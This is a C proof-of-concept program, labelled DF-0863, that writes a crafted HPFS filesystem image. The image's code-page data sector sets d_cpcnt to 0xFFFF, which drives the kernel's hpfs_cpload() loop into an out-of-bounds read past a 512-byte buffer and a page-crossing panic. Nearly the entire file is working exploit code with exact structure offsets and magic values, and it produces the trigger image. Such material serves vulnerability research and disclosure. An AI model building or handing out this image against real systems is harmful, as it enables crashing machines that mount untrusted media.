/*
 * DF-0863 PoC image crafter.
 *
 * Builds a minimal HPFS filesystem image whose Code-Page Data Sector
 * (struct cpdsec, sys/vfs/hpfs/hpfs.h:283) carries:
 *
 *     d_cpfirst = 0
 *     d_cpcnt   = 0xFFFF     <-- far larger than nitems(d_cpdblk) == 3
 *
 * which makes hpfs_cpload()'s loop walk past the fixed-size d_cpdblk[3]
 * array and past the end of the 512-byte bp->b_data buffer:
 *
 *   sys/vfs/hpfs/hpfs_subr.c:228
 *     for (i=cpdsp->d_cpfirst; i<cpdsp->d_cpcnt; i++) {
 *         if (cpdsp->d_cpdblk[i].b_cpid == cpibp->b_cpid) {   <-- OOB read
 *             bcopy(cpdsp->d_cpdblk + i, cpdbp, sizeof(struct cpdblk));
 *             ...
 *
 * The struct cpdsec layout in memory:
 *   +0   d_magic        u32  (CPD_MAGIC 0x894521F7)
 *   +4   d_cpcnt        u16  <-- ATTACKER VALUE (0xFFFF)
 *   +6   d_cpfirst      u16  <-- ATTACKER VALUE (0)
 *   +8   d_checksum[3]  u32*3
 *   +20  d_offset[3]    u16*3
 *   +26  d_cpdblk[3]    struct cpdblk[3]  (sizeof(cpdblk)==136 -> 3*136=408)
 *
 *   => d_cpdblk occupies bytes [26 .. 434) of the on-disk cpd_sec.
 *      The DEV_BSIZE bread() in hpfs_cpload() allocates exactly 512 bytes
 *      for bp->b_data.  Reading d_cpdblk[i].b_cpid (offset 26 + i*136 + 2):
 *        i=0,1,2 : in-bounds (the legit 3 entries)
 *        i=3     : b_cpid at byte 436 -- STILL inside the 512-byte buffer
 *        i=4     : b_cpid at byte 572 -- OOB past bp->b_data
 *        i=5..   : further OOB; crosses page boundary -> panic
 *
 * Layout written (all little-endian, x86):
 *   sector 0x10 (off 0x2000): SuperBlock  (magic + small su_btotal + bitmap ptrs)
 *   sector 0x11 (off 0x2200): SpareBlock  (magic + sp_cpi=0x30 + sp_cpinum=1)
 *   sector 0x20 (off 0x4000): BitMap dir  (lsn1 -> 0x21)
 *   sector 0x21 (off 0x4200): BitMap data (BMSIZE = 4 sectors of zeros)
 *   sector 0x30 (off 0x6000): CPI sector  (s_cpicnt=1, s_cpi[0].b_cpdsec=0x40,
 *                                          b_cpid=0xCAFE)
 *   sector 0x40 (off 0x8000): CPD sector  (d_cpcnt=0xFFFF, d_cpfirst=0,
 *                                          d_cpdblk[0..2].b_cpid = 0 != 0xCAFE)
 *
 * The image is 256 KiB (512 sectors) so every referenced lsn is readable.
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#define SUBLOCK      0x10
#define SPBLOCK      0x11
#define BMDIR_SEC    0x20
#define BMDATA_SEC   0x21
#define CPI_SEC      0x30
#define CPD_SEC      0x40
#define SECTOR       512
#define IMG_SECTORS  512            /* 256 KiB */

#define SU_MAGIC     0xFA53E9C5F995E849ULL
#define SP_MAGIC     0xFA5229C5F9911849ULL
#define CPI_MAGIC    0x494521F7u
#define CPD_MAGIC    0x894521F7u

#define TRIGGER_CPCNT   0xFFFFu
#define SEARCH_CPID     0xCAFEu

static void put_u16(unsigned char *p, uint16_t v) {
    p[0] = v & 0xff; p[1] = (v >> 8) & 0xff;
}
static void put_u32(unsigned char *p, uint32_t v) {
    p[0] = v & 0xff; p[1] = (v >> 8) & 0xff;
    p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff;
}
static void put_u64(unsigned char *p, uint64_t v) {
    for (int i = 0; i < 8; i++) p[i] = (v >> (8 * i)) & 0xff;
}

int main(int argc, char **argv) {
    const char *out = (argc > 1) ? argv[1] : "crafted.img";
    uint32_t cpcnt  = (argc > 2) ? (uint32_t)strtoul(argv[2], NULL, 0)
                                 : TRIGGER_CPCNT;

    unsigned char *img = calloc(IMG_SECTORS, SECTOR);
    if (!img) { perror("calloc"); return 1; }

    /* ---- SuperBlock at sector 0x10 ---- */
    unsigned char *su = img + SUBLOCK * SECTOR;
    put_u64(su + 0,  SU_MAGIC);
    su[8] = 2;                               /* su_hpfsver */
    put_u32(su + 12, 0x10);                  /* su_rootfno */
    put_u32(su + 16, 0x80);                  /* su_btotal = 128 (small, valid) */
    put_u32(su + 20, 0);                     /* su_badbtotal */
    put_u32(su + 24, BMDIR_SEC);             /* su_bitmap.lsn1 */
    put_u32(su + 28, BMDIR_SEC);             /* su_bitmap.lsn2 */
    /* su_badbl rsp_t { lsn1 @ +32, lsn2 @ +36 } */ put_u32(su + 32, BMDATA_SEC);
    put_u32(su + 36, BMDATA_SEC);

    /* ---- SpareBlock at sector 0x11 ----
       sp_magic @ +0
       sp_flag  @ +8 (u16)
       sp_mmcontf @ +10 (u8)
       unused    @ +11
       sp_hf     @ +12 (lsn_t u32)
       sp_hfinuse@ +16, sp_hfavail @ +20, sp_spdbavail @ +24, sp_spdbmax @ +28
       sp_cpi    @ +32 (lsn_t u32)
       sp_cpinum @ +36 (u32)   <-- 1 (must be > 0 to drive cpinit into the loop)
    */
    unsigned char *sp = img + SPBLOCK * SECTOR;
    put_u64(sp + 0,  SP_MAGIC);
    put_u32(sp + 32, CPI_SEC);               /* sp_cpi  -> CPI sector */
    put_u32(sp + 36, 1);                     /* sp_cpinum = 1 */

    /* ---- BitMap directory at sector 0x20 ----
       First 4 bytes = lsn of the BitMap data band (dbnum=1 here).
    */
    put_u32(img + BMDIR_SEC * SECTOR + 0, BMDATA_SEC);
    /* BitMap data band (sectors 0x21..0x24) is left zeroed -> dbavail=0, fine. */

    /* ---- CPI sector at sector 0x30 ----
       struct cpisec:
         +0  s_magic    u32   (CPI_MAGIC)
         +4  s_cpicnt   u32   = 1
         +8  s_cpifirst u32   = 0
         +12 s_next     lsn_t = 0
         +16 s_cpi[0x1F]      array of struct cpiblk (sizeof==16)
       s_cpi[0]:
         +0  b_country  u16 = 0
         +2  b_cpid     u16 = SEARCH_CPID (what hpfs_cpinit asks hpfs_cpload to find)
         +4  b_checksum u32 = 0
         +8  b_cpdsec   lsn_t = CPD_SEC
         +12 b_vcpid    u16 = SEARCH_CPID
         +14 b_dbcscnt  u16 = 0
    */
    unsigned char *cpis = img + CPI_SEC * SECTOR;
    put_u32(cpis + 0,  CPI_MAGIC);
    put_u32(cpis + 4,  1);                   /* s_cpicnt = 1 */
    put_u32(cpis + 8,  0);                   /* s_cpifirst = 0 */
    put_u32(cpis + 12, 0);                   /* s_next = 0 */
    put_u16(cpis + 16 + 0,  0);              /* s_cpi[0].b_country */
    put_u16(cpis + 16 + 2,  SEARCH_CPID);    /* s_cpi[0].b_cpid */
    put_u32(cpis + 16 + 4,  0);              /* s_cpi[0].b_checksum */
    put_u32(cpis + 16 + 8,  CPD_SEC);        /* s_cpi[0].b_cpdsec */
    put_u16(cpis + 16 + 12, SEARCH_CPID);    /* s_cpi[0].b_vcpid */
    put_u16(cpis + 16 + 14, 0);              /* s_cpi[0].b_dbcscnt */

    /* ---- CPD sector at sector 0x40 ----   <-- THE TRIGGER
       struct cpdsec:
         +0  d_magic     u32  (CPD_MAGIC)
         +4  d_cpcnt     u16  = TRIGGER (0xFFFF)
         +6  d_cpfirst   u16  = 0
         +8  d_checksum[3]    (u32*3 = 12 bytes)
         +20 d_offset[3]      (u16*3 = 6 bytes)
         +26 d_cpdblk[3]      (3 * struct cpdblk)
       d_cpdblk[*].b_cpid all left == 0 (no match -> loop runs to completion,
                                         walking OOB past the buffer).
    */
    unsigned char *cpds = img + CPD_SEC * SECTOR;
    put_u32(cpds + 0, CPD_MAGIC);
    put_u16(cpds + 4, (uint16_t)cpcnt);      /* d_cpcnt = 0xFFFF (TRIGGER) */
    put_u16(cpds + 6, 0);                    /* d_cpfirst = 0 */

    FILE *f = fopen(out, "wb");
    if (!f) { perror("fopen"); free(img); return 1; }
    if (fwrite(img, 1, IMG_SECTORS * SECTOR, f) != (size_t)(IMG_SECTORS * SECTOR)) {
        perror("fwrite"); fclose(f); free(img); return 1;
    }
    fclose(f);
    free(img);

    printf("[craft] wrote %s  sp_cpinum=1  d_cpcnt=0x%04x  d_cpfirst=0\n",
           out, (unsigned)cpcnt);
    printf("[craft] hpfs_cpload loop: for(i=0; i<0x%04x; i++) reads d_cpdblk[i];\n",
           (unsigned)cpcnt);
    printf("[craft]   i=0..2 in-bounds; i=3 still in 512B buffer; i>=4 OOB past bp->b_data;\n");
    printf("[craft]   crosses page boundary within ~30 iters -> panic\n");
    return 0;
}
